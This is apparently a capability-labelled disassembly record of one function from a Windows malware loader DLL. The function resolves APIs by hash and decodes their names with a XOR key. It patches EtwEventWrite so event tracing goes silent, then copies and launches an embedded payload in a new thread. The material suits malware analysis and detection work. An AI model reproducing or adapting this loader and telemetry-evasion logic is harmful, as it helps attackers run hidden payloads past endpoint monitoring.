Function at 0x1800019d0
Capabilities:
Encode data using xor
Link many functions at runtime
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x180005010]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov rax, qword gs:[0x30]
test rax, rax
je 0x180001a18
mov rax, qword [rax + 0x60]
test rax, rax
je 0x180001a18
cmp dword [rax + 0x118], 0xa
je 0x180001a1f
mov rax, 0xffffffffffffffff
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1a0], rbx
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rsi, qword [rdi + 0x20]
cmp word [rsi], ax
jne 0x180001ed4
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x180001ed4
mov ebx, dword [rax + rsi + 0x88]
add rbx, rsi
je 0x180001ed4
xor edx, edx
movaps xmmword [rsp + 0x180], xmm6
mov r8d, 0x108
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xf5bd373480a6b89b
lea r8, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rdx, rbx
movabs rax, 0x64dc7db288c5015f
mov rcx, rsi
mov qword [rsp + 0x78], rax
movabs rax, 0x858bcb1046fb6a37
mov qword [rsp + 0x60], rax
movabs rax, 0xc6a2fa174e551bcb
mov qword [rbp - 0x70], rax
movabs rax, 0x683158f59618ee0c
mov qword [rbp - 0x58], rax
movabs rax, 0x718cca1f5291f6e7
mov qword [rbp - 0x40], rax
movabs rax, 0x4a063563c4387908
mov qword [rbp - 0x28], rax
movabs rax, 0xf38a8f71af24371f
mov qword [rbp - 0x10], rax
movabs rax, 0xf037c7b73290c159
mov qword [rbp + 8], rax
movabs rax, 0x4a06357e3033c3d2
mov qword [rbp + 0x20], rax
movabs rax, 0xe4672568eef00d8a
mov qword [rbp + 0x38], rax
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x70]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x58]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x78]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x60]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x48]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x30]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x18]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x18]
mov rdx, rbx
call section..text
test eax, eax
je 0x180001c06
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0x30]
mov rdx, rbx
call section..text
lea rcx, [rsp + 0x40]
call fcn.180001470
movdqu xmm0, xmmword [0x180005098]
lea rdi, [0x180005098]
mov ebx, 0x10
movdqa xmm6, xmmword [0x1800032e0]
mov eax, ebx
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [0x180005098], xmm1
nop
xor byte [rax + rdi], 0xa5
inc rax
cmp rax, 0x12
jl 0x180001c40
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqu xmm0, xmmword [0x180005080]
mov qword [0x18004adf8], rax
mov rax, rbx
movdqa xmm1, xmm6
lea rdi, [0x180005080]
pxor xmm1, xmm0
movdqu xmmword [0x180005080], xmm1
nop
xor byte [rax + rdi], 0xa5
inc rax
cmp rax, 0x12
jl 0x180001c90
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
mov qword [0x18004ade0], rax
mov eax, esi
lea rdi, [0x1800050d8]
nop dword [rax + rax]
xor byte [rax + rdi], 0xa5
inc rax
cmp rax, 0xc
jl 0x180001cd0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqu xmm0, xmmword [0x1800050c0]
mov qword [0x18004adf0], rax
lea rdi, [0x1800050c0]
pxor xmm6, xmm0
movdqu xmmword [0x1800050c0], xmm6
movaps xmm6, xmmword [rsp + 0x180]
xor byte [rbx + rdi], 0xa5
inc rbx
cmp rbx, 0x13
jl 0x180001d20
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004ade8], rax
lea rbx, [0x1800050b0]
mov rax, rsi
nop word [rax + rax]
xor byte [rax + rbx], 0xa5
inc rax
cmp rax, 0xe
jl 0x180001d60
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1800032b0]
mov qword [0x18004add8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EtwEventWrite
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rbp + 0x58], rax
mov byte [rbp + 0x60], 0xc3
mov dword [rbp + 0x50], esi
mov qword [rbp + 0x68], 0x1000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
lea r8, [rbp + 0x68]
mov rcx, rax
lea rdx, [rbp + 0x58]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
call qword [0x18004add8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rbp + 0x60]
mov rdx, rbx
call qword [0x18004ade0]
mov ebx, dword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, ebx
lea r8, [rbp + 0x68]
mov rcx, rax
lea rdx, [rbp + 0x58]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
call qword [0x18004add8]
call fcn.180001750
test eax, eax
jne 0x180001ed4
mov edx, 0x456c0
lea r9d, [rax + 0x20]
xor ecx, ecx
mov r8d, 0x1000
call qword [0x18004adf0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x456c0
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [0x1800050f0]
mov rdx, rbx
call qword [0x18004ade0]
xor edx, edx
lea rcx, [0x1800050f0]
mov r8d, 0x456bf
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov rcx, rax
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [0x18004adf8]
mov rbx, rax
test rax, rax
je 0x180001ed4
mov edx, 0x1f4
mov rcx, rax
call qword [0x18004ade8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180001ed9
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x1a0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.180001f70
lea r11, [rsp + 0x190]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret